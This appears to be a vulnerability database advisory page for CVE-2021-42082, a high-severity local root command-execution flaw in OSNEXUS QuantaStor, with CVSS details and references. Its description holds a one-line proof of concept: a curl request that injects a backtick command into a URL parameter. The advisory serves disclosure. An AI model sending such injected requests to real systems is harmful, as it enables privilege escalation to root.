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CVE-2021-42082

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CVE-2021-42082

Published: Jul 10, 2023

Modified: Sep 22, 2025

PUBLISHED

CVSS v3.1

7.8

HIGH

Description

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

VendorProductVersions

OSNEXUS

QuantaStor

affected
0 - < 6.0.0.355

Weaknesses (CWE)

CVSS v3.1 Details

CVSS v3.1 Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vector

Local

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

References

https://www.wbsec.nl/osnexus
third-party-advisory
technical-description
exploit
https://csirt.divd.nl/CVE-2021-42082
third-party-advisory
technical-description
exploit

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CVE-2021-42082 | HIGH (7.8) - Security Vulnerability | QwikSec